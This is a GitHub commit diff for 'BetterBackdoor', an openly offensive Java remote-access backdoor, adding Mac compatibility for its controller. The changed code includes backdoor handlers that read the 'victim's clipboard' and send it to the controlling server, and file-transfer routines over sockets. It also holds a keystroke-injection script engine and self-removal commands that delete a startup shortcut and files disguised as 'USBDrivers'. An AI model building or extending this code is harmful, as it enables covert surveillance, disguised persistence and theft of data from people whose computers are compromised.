Skip to content

Commit

Permalink
Added Mac OS compatibility
Browse files Browse the repository at this point in the history
  • Loading branch information
Thatcher Clough committed Oct 4, 2019
1 parent b855b3c commit a831be6
Show file tree
Hide file tree
Showing 9 changed files with 58 additions and 66 deletions.
38 changes: 19 additions & 19 deletions .classpath
Original file line number Diff line number Diff line change
@@ -1,44 +1,44 @@
<?xml version="1.0" encoding="UTF-8"?>
<?xml version="1.0" encoding="UTF-8" ?>
<classpath>
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.8">
<attributes>
<attribute name="maven.pomderived" value="true"/>
<attribute name="maven.pomderived" value="true" />
</attributes>
</classpathentry>
<classpathentry kind="src" output="target/classes" path="src/main/java">
<attributes>
<attribute name="optional" value="true"/>
<attribute name="maven.pomderived" value="true"/>
<attribute name="optional" value="true" />
<attribute name="maven.pomderived" value="true" />
</attributes>
</classpathentry>
<classpathentry kind="con" path="org.eclipse.m2e.MAVEN2_CLASSPATH_CONTAINER">
<attributes>
<attribute name="maven.pomderived" value="true"/>
<attribute name="maven.pomderived" value="true" />
</attributes>
</classpathentry>
<classpathentry kind="src" output="target/test-classes" path="src/test/java">
<attributes>
<attribute name="optional" value="true"/>
<attribute name="maven.pomderived" value="true"/>
<attribute name="test" value="true"/>
<attribute name="optional" value="true" />
<attribute name="maven.pomderived" value="true" />
<attribute name="test" value="true" />
</attributes>
</classpathentry>
<classpathentry kind="src" path="target/generated-sources/annotations">
<attributes>
<attribute name="optional" value="true"/>
<attribute name="maven.pomderived" value="true"/>
<attribute name="ignore_optional_problems" value="true"/>
<attribute name="m2e-apt" value="true"/>
<attribute name="optional" value="true" />
<attribute name="maven.pomderived" value="true" />
<attribute name="ignore_optional_problems" value="true" />
<attribute name="m2e-apt" value="true" />
</attributes>
</classpathentry>
<classpathentry kind="src" output="target/test-classes" path="target/generated-test-sources/test-annotations">
<attributes>
<attribute name="optional" value="true"/>
<attribute name="maven.pomderived" value="true"/>
<attribute name="ignore_optional_problems" value="true"/>
<attribute name="m2e-apt" value="true"/>
<attribute name="test" value="true"/>
<attribute name="optional" value="true" />
<attribute name="maven.pomderived" value="true" />
<attribute name="ignore_optional_problems" value="true" />
<attribute name="m2e-apt" value="true" />
<attribute name="test" value="true" />
</attributes>
</classpathentry>
<classpathentry kind="output" path="target/classes"/>
</classpath>
<classpathentry kind="output" path="target/classes" />
</classpath>
2 changes: 1 addition & 1 deletion .gitignore
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
/target/
/.settings/
/.vscode/
/*.jar
/jre/
/backdoor/
.DS_Store
/*.jar
9 changes: 6 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,7 @@ Once running, to control the backdoor you must return to BetterBackdoor and run
- The computer used to control the backdoor must have their firewall deactivated and must run BetterBackdoor as 'sudo' (if run on Mac or Linux).

## Compatibility
BetterBackdoor is compatible with Windows and Linux, while the backdoor is only compatible with Windows.
BetterBackdoor is compatible with Windows, Mac, and Linux, while the backdoor is only compatible with Windows.

## Installation
```
Expand All @@ -57,12 +57,15 @@ git clone https://github.com/ThatcherDev/BetterBackdoor.git
cd BetterBackdoor
# build BetterBackdoor with Maven
# for Windows run
mvnw.cmd clean package
# for Linux run
chmod +x mvnw
./mvnw clean package
# for Windows run
mvnw.cmd clean package
# for Mac run
sh mvnw clean package
```

## Usage
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ public static void main(String[] args) {
System.out.println(
"Would you like to package the Java Runtime Environment from your computer with the backdoor\nso it can be run on computers without Java installed?(y/n):");
jre = Boolean.parseBoolean(getInput("yn"));
} else if (os.contains("Linux"))
} else if (os.contains("Linux") || os.contains("Mac"))
System.out.println(
"If you would like to package a Java Runtime Environment with the backdoor so it can be run on computers without Java,\n"
+ "create folder 'jre' in current directory with 'bin' and 'lib' folders from a Windows JRE distribution.\n");
Expand All @@ -45,7 +45,7 @@ public static void main(String[] args) {
} catch (Exception e) {
error("Could not create backdoor:\n" + e.getMessage());
}
System.out.println("Create!\n");
System.out.println("Created!\n");
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
Expand Down Expand Up @@ -77,9 +77,6 @@ else if (type.equals("file") && !new File(ret).exists()) {
} else if (type.equals("yn") && !(ret.equalsIgnoreCase("y") || ret.equalsIgnoreCase("n"))) {
System.out.println("\nInvalid entry\nEnter 'y' or 'n':");
return getInput(type);
} else if (type.equals("drive") && !new File(ret + ":\\").exists()) {
System.out.println("\nDrive not found\nInsert a USB drive and enter it's drive letter:");
return getInput(type);
} else if (type.startsWith("op") && (!type.substring(2).contains(ret) || !(ret.length() == 1)))
return getInput(type);
else
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -23,7 +23,8 @@ public static void create(boolean packageJre) throws IOException {
new File("backdoor" + File.separator + "jre" + File.separator + "bin"));
FileUtils.copyDirectory(new File(jrePath + File.separator + "lib"),
new File("backdoor" + File.separator + "jre" + File.separator + "lib"));
} else if (BetterBackdoor.os.contains("Linux") && new File("jre").isDirectory())
} else if ((BetterBackdoor.os.contains("Linux") || BetterBackdoor.os.contains("Mac"))
&& new File("jre").isDirectory())
FileUtils.copyDirectory(new File("jre"), new File("backdoor" + File.separator + "jre"));
FileUtils.copyDirectory(new File("scripts"), new File("backdoor" + File.separator + "scripts"));
FileUtils.copyFile(new File("target" + File.separator + "run.jar"),
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -22,7 +22,7 @@ public class HandleCommand {
* response. {@link Backdoor.out} is then used to send response followed by a
* token to signal end of response.
*
* @param command command given to backdoor from server.
* @param command command given to backdoor from server
*/
public static void handle(String command) {
String send = "";
Expand Down Expand Up @@ -95,7 +95,10 @@ public void run() {
else if (command.equals("cb"))
try {
String cb = (String) Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor);
send = "Victim's clipboard:\n" + cb;
if (cb.isEmpty())
send = "Nothing copied to victim's clipboard";
else
send = "Victim's clipboard:\n" + cb;
} catch (Exception e) {
send = "An error occurred when trying to get victim's clipboard:\n" + e.getMessage();
}
Expand All @@ -110,31 +113,17 @@ else if (command.startsWith("cat")) {
}
} else if (command.equals("remove")) {
try {
if (new File("gathered").exists())
FileUtils.forceDelete(new File("gathered"));
if (new File("jre").exists())
FileUtils.forceDelete(new File("jre"));
if (new File("scripts").exists())
FileUtils.forceDelete(new File("scripts"));

if (new File("USBDrivers.vbs").exists())
FileUtils.forceDelete(new File("USBDrivers.vbs"));
if (new File("C:\\Users\\" + System.getProperty("user.name")
+ "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\USBDrivers.lnk")
.exists())
FileUtils.forceDelete(new File("C:\\Users\\" + System.getProperty("user.name")
+ "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\USBDrivers.lnk"));
if (new File("USBDrivers.jar").exists())
Runtime.getRuntime().exec("cmd /c ping localhost -n 5 > nul && del /f USBDrivers.jar");

if (new File("install.bat").exists())
FileUtils.forceDelete(new File("install.bat"));
if (new File("install.jar").exists())
FileUtils.forceDelete(new File("install.jar"));
if (new File("run.bat").exists())
FileUtils.forceDelete(new File("run.bat"));
Runtime.getRuntime().exec(
"cmd /c ping localhost -n 5 > nul && del /f /q USBDrivers.jar USBDrivers.vbs && rd /s /q gathered jre scripts && cd.. && rd /s /q USBDrivers");
if (new File("run.jar").exists())
Runtime.getRuntime().exec("cmd /c ping localhost -n 5 > nul && del /f run.jar");
Runtime.getRuntime().exec(
"cmd /c ping localhost -n 5 > nul && del /f /q run.jar run.bat install.jar install.bat && rd /s /q gathered jre scripts");
System.exit(0);
} catch (Exception e) {
send = "An error occurred when trying to remove files:\n" + e.getMessage();
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@

public class DuckyScripts {

private static Robot r;
private static Robot robot;
private static int defaultDelay;
private static ArrayList<Character> regKeys = (ArrayList<Character>) "abcdefghijklmnopqrstuvwxyz`1234567890-=[]\\;',./ "
.chars().mapToObj((i) -> Character.valueOf((char) i)).collect(Collectors.toList());
Expand All @@ -27,7 +27,7 @@ public class DuckyScripts {
public static boolean run(String scriptName) {
Scanner in = null;
try {
r = new Robot();
robot = new Robot();
in = new Scanner(new File("scripts\\" + scriptName));
while (in.hasNextLine()) {
String line = in.nextLine();
Expand Down Expand Up @@ -103,15 +103,15 @@ else if (command.equals("STRING")) {
type(args);
} else if (command.equals("WINDOWS") || command.equals("SHIFT") || command.equals("CONTROL")
|| command.equals("ALT")) {
r.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null));
robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null));
if (!args.isEmpty()) {
r.keyPress(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null));
r.keyRelease(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null));
robot.keyPress(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null));
robot.keyRelease(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null));
}
r.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null));
robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null));
} else if (!line.startsWith("REM")) {
r.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null));
r.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null));
robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null));
robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null));
}
Thread.sleep(defaultDelay);
}
Expand All @@ -124,13 +124,13 @@ else if (command.equals("STRING")) {
private static void type(String toType) {
for (char c : toType.toCharArray())
if (regKeys.indexOf(c) != -1) {
r.keyPress(KeyEvent.getExtendedKeyCodeForChar(c));
r.keyRelease(KeyEvent.getExtendedKeyCodeForChar(c));
robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(c));
robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(c));
} else {
r.keyPress(KeyEvent.VK_SHIFT);
r.keyPress(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c))));
r.keyRelease(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c))));
r.keyRelease(KeyEvent.VK_SHIFT);
robot.keyPress(KeyEvent.VK_SHIFT);
robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c))));
robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c))));
robot.keyRelease(KeyEvent.VK_SHIFT);
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,7 @@ else if (protocol.equals("rec"))
rec(filePath, socketChannel);
return true;
} catch (Exception e) {
e.printStackTrace();
return false;
} finally {
try {
Expand All @@ -90,7 +91,7 @@ private static void send(String filePath, SocketChannel socketChannel) throws IO
while (fileChannel.read(buffer) > 0) {
((Buffer) buffer).flip();
socketChannel.write(buffer);
buffer.clear();
((Buffer) buffer).clear();
}
file.close();
fileChannel.close();
Expand All @@ -110,7 +111,7 @@ private static void rec(String filePath, SocketChannel socketChannel) throws IOE
while (socketChannel.read(buffer) > 0) {
((Buffer) buffer).flip();
fileChannel.write(buffer);
buffer.clear();
((Buffer) buffer).clear();
}
file.close();
fileChannel.close();
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,8 @@ public static void start() {
HandleCommand.handle(command);
}
} catch (Exception e) {
if (e.getMessage().equals("String index out of range: -1"))
if (e.getMessage().equals("String index out of range: -1")
|| e.getMessage().equals("begin 0, end -1, length 0"))
BetterBackdoor.error("The victim's computer has disconnected");
else
BetterBackdoor.error(e.getMessage());
Expand Down

0 comments on commit a831be6

Please sign in to comment.